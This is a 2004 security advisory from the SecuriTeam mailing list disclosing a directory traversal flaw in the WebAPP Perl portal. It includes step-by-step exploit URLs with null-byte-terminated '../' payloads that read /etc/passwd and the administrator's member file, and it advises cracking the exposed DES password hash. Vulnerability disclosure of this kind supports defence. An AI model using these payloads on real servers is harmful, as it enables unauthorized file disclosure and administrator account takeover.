[UNIX] WebAPP Directory Traversal and Encrypted DES Disclosure

From: SecuriTeam (support_at_securiteam.com)
Date: 08/31/04

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Date: 31 Aug 2004 18:52:02 +0200

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      WebAPP Directory Traversal and Encrypted DES Disclosure
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.web-app.org/> WebAPP is "Internet's most feature rich, easy
    to run PERL based portal system".

    WebAPP suffers from a directory traversal vulnerability in its view
    category module, allowing a remote attacker to compromise sensitive files
    stored in the server as well as WebAPP administrator's DES encrypted
    password.

    DETAILS

    Exploit:
    1) Go to http://vulnerable-target.xxx/cgi-bin/index.cgi

    2) Click on Articles on the main menu at the left side of the screen

    3) Click on any of the icons representing the miscellaneous topics
    available

    4) You'll wind up with the URL
    http://vulnerable-target.xxx/cgi-bin/index.cgi?action=topics&viewcat=bugs
    on the address bar on your browser. Change it to
    http://vulnerable-target.xxx/cgi-bin/index.cgi?action=topics&viewcat=../../../../../../../etc/passwd%00

    5) View the HTML source for the page

    A more interesting file to look at would be:
    http://vulnerable-target.xxx/cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00

    View the HTML source code and scroll down until you come to the line with:
    href="index.cgi?action=viewnews&id=adUCOOzV2ljgg"

    "adUCOOzV2ljgg" is the hashed password of the Administrator. It's standard
    DES encrypted so you can run a password-cracking program to crack it.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jerome.athias@caramail.com>
    JXrXme ATHIAS.

    ========================================

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